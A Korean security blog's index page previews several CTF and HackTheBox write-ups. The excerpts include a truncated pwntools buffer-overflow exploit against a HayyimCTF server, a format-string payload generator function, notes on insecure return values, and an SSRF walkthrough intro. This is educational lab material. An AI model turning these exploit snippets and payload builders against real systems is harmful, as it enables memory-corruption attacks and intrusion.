분류 전체보기(66)
-
[CTF write up] HayyimCTF 2022 - MemoryManager : Child VM challenge
__int64 __fastcall main(int a1, char **a2, char **a3) { void *vm_name; // [rsp+0h] [rbp-80h] __int64 rs; // [rsp+8h] [rbp-78h] Vmware vm; // [rsp+10h] [rbp-70h] BYREF unsigned __int64 canary; // [rsp+78h] [rbp-8h] canary = __readfsqword(0x28u); vm_name = calloc(1uLL, 0x40uLL); sub_40230D(); offsetunk = -1; memset(&vm, 0, 0x60uLL); vm.SP = int::0x1000; vm.BP = int::0x1000; heap_addr = (__int64)&h..
2022.02.18 -
[CTF write up] HayyimCTF 2022 - Cooldown / WarmUp : Tiny Binary Exploitation
이 문제에 핵심은 소켓 환경에서는 write(0,buf,size) 다음과 같이 출력 함수에 stdin을 인자로 넣어줬을때도 말짱하게 출력된다는 것이다..... from pwn import * #p = process(['cooldown'], env={'LD_PRELOAD':'./libc.so.6'}) p = remote("141.164.48.191", 10005) e = ELF('cooldown') libc = ELF('libc.so.6') payload = b'a'*0x38 payload += p64(0x00000000004004A0) raw_input() p.send(payload) lic = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) system_addr =..
2022.02.14 -
[CTF write up] Zer0pts CTF 2021 - oneshot : 안전하지 않은 반환 값으로 인한 임의의 주소 쓰기(AAW) 취약점
원래는 DEF CON이나 CODEGATE의 문제를 분석하려고 했는데 난이도가 상당한데다 기존의 포너블 문제와는 다른 면이 꽤 있어서 그나마 쉽고 문제가 전부 공개된 Zer0pts CTF의 문제를 분석하려고 한다. Zer0pts CTF 2021의 문제들은 이곳에서 받을 수 있다. https://gitlab.com/zer0pts/zer0pts-ctf-2021 zer0pts / zer0pts CTF 2021 GitLab.com gitlab.com 풀기전에 두개의 Write-up을 보았다. 하나는 opcode 깎기로 가젯을 창조(...)하는 띠용한 언인텐 풀이였고 다른 하나는 calloc이나 malloc이 라이브러리 주소를 반환하게 하는 버그를 이용했었다. 하여튼 두 방법을 이용하지 않고 또 다른 방법으로 풀어..
2022.02.10 -
[바이너리 익스플로잇] Insecure Return Value List : 안전하지 않은 반환 값 목록
Func(arg1,?....) arg1 = Input : Return Value calloc(arg1,arg2) arg1 = -1 : 0 arg1 = 0xa000 : 라이브러리 내 주소
2022.02.09 -
[바이너리 익스플로잇] Format-String-Bug 페이로드 생성 함수 : FSB Payload Generator Fcuntion
def gen_fsb_payload(addr, addr2, N): a1 = str(hex(addr)) a1 = a1[2:len(a1)] a3 = int(a1[:4],16) a2 = int(a1[4:len(a1)-4],16) a1 = int(a1[8:len(a1)],16) print(f'{hex(a1)}\n{hex(a2)}\n{hex(a3)}\n') def create_payload(A, B, fs): rs_len = len(str(A))+ 5 + len(fs) rs = f'%{A}d%XX${fs}' + 'P' * (8 - rs_len % 8) fn = str(N+(len(rs)//8)) rs = rs.replace('XX',fn) if int(fn) > 9 : rs = rs + 'P' return rs...
2022.02.04 -
[침투 테스팅] HackTheBox - Forge : Server-Side Request Forgery to FTP, PDB 권한 상승
먼저 DNS 설정을 해주자. 웹 서버에 접속하면 forge.htb 라는 도메인으로 리다이렉트되기 때문에 해당 도메인을 침투 테스팅 서버의 주소로 연결해줘야 웹 분석이 가능하다. Nmap 스캔으로는 딱히 특별한 정보를 얻을 수 없었다. 바로 웹 접속을 해보니 다음과 같이 갤러리 페이지가 나온다. 우측 상단에 Upload an Image 라는 버튼이 있는 것으로 보아 이미지 업로드 기능이 있는 것 같고 이를 이용해서 내부 침투가 가능할 수도 있을 것 같다. Upload an Image 버튼을 클릭하여 업로드 페이지로 들어가면 이미지 파일 업로드 이외에도 URL을 통한 업로드도 지원한다. 일단은 파일 업로드 기능을 통한 웹셸 업로드가 가능한지를 테스트 해보아야 하지만 해당 문제는 파일 업로드 공격이 아닌 SS..
2022.02.02